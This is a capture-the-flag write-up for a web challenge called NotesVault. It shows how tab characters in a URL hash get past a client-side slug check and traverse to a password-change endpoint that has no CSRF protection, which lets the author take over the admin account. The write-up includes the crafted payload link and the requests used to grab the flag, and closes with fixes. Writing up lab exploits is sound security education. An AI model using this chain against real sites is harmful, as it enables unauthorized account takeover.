[ writeup · case #033 ]
NotesVault
Admin account takeover. A client-side slug validator blocks ../ but not raw tab/newline/CR, which browsers strip while parsing a URL. Combined with a CSRF-less, no-old-password change endpoint and the draft feature, the admin bot changes its own password to one I pick — log in as admin and read the flag.
- Event: Securinets ENIT
- Category: Web
- Author: h1dr1
- Target:
http://web.securinets-enit.club:8050 - Flag:
SecurinetsENIT{b711404b331953ec2e061188ff1ce6e0}
TL;DR
Admin account takeover. The client-side slug validator in app.js blocks .. and
percent-encoded dots/slashes but not raw tab/newline/CR. Browsers strip those
control chars while parsing a URL, so file=".\t./profile/password" survives the
check and resolves to /api/v1/profile/password. The draft feature turns that into
a POST with the victim's cookie, and the password-change endpoint has no CSRF token and
no old-password check. Report the crafted link → the admin bot changes its own
password to a value I pick → log in as admin → GET /api/v1/admin/flag.
Recon
- Express app, session-cookie auth (
session=, HttpOnly, SameSite=Lax). - Notes are client-rendered:
app.jsreadslocation.hash, fetches/api/v1/notes/<file>, and writes the result withinnerText(so no XSS in note content). - Notes are private by default, keyed by a global single-segment slug, owner-scoped for read/write. No publicity toggle, no ownership-transfer mass-assignment.
/reportsends a URL to an admin bot that opens it in a real browser — but only same-origin links (http://web.securinets-enit.club:8050/...).- The admin's
welcomenote is just"hi"; the flag lives behindGET /api/v1/admin/flag, which returns{"error":"Admins only."}to normal users.
So: no XSS sink, only a same-origin write primitive via the admin. The chain has to run through server state.
The bug
app.js:
const file = new URLSearchParams(location.hash.slice(1)).get('file') || 'welcome';
function isSafeSlug(slug) {
if (typeof slug !== 'string' || slug.length === 0 || slug.length > 120) return false;
if (slug.includes('..')) return false;
if (slug.includes('\\')) return false;
if (/%2e|%2f|%5c|%25/i.test(slug)) return false; // blocks encoded . / \ %
return true;
}
const target = new URL('/api/v1/notes/' + file, location.origin);
const draft = params.get('draft');
if (draft !== null) {
fetch(target.href, { // POST with the victim's cookie
method: 'POST',
headers: { 'Content-Type': 'application/x-www-form-urlencoded' },
body: draft,
credentials: 'same-origin',
});
}isSafeSlug blocks literal .., \, and the percent-encoded forms. It does **not**
block the raw control characters \t (0x09), \n (0x0A), \r (0x0D). The WHATWG URL
parser (both Node and Chromium) *removes* those characters from the input before
parsing. So a tab placed between two dots defeats the includes('..') check but
reassembles into .. inside new URL:
isSafeSlug(".\t./profile/password") // true
new URL("/api/v1/notes/" + ".\t./profile/password", base) // -> /api/v1/profile/passwordCombined with:
/api/v1/profile/passwordacceptsPOST password=<new>with no CSRF token and no current-password check — it just updates the logged-in user's password.- The admin bot opens same-origin links as
admin, soapp.js'sfetchcarries the admin session (same-site navigation + same-origin fetch, so SameSite=Lax is fine).
Exploit
Reported this link to the bot (.%09. is the tab, %3D keeps the = inside draft):
http://web.securinets-enit.club:8050/#file=.%09./profile/password&draft=password%3Dpwn_SECRETFlow in the admin's browser:
filedecodes to.\t./profile/password, passesisSafeSlug.new URL→https://.../api/v1/profile/password.draftis present →POST password=pwn_SECRETwith the admin cookie.- Admin's password is now
pwn_SECRET.
Finding the admin username
Login had no user-enumeration (every failure was an identical 401). I didn't need it:
after the password change, I brute-forced candidate usernames against the known new
password — only the admin account accepts it. First hit: admin.
Grab the flag
POST /login username=admin&password=pwn_SECRET -> 302 (admin session)
GET /api/v1/admin/flag -> {"title":"Flag","content":"SecurinetsENIT{...}"}SecurinetsENIT{b711404b331953ec2e061188ff1ce6e0}Fix
- Validate the slug server-side; never trust
app.js. - Reject control characters (and/or validate against an allowlist like
^[a-z0-9_-]+$) before building URLs. - Add a CSRF token and require the current password on
/api/v1/profile/password. - Don't let a user-supplied path fragment reach a URL that can traverse to other endpoints.